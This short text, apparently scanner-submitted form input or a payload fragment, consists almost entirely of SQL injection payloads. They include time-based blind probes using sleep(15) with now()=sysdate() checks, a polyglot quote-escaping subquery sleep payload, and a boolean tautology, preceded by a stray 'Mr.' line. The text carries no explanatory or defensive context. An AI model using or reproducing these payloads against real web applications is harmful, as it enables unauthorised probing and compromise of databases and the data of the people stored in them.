Mr.
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-1 OR 2+455-455-1=0+0+0+1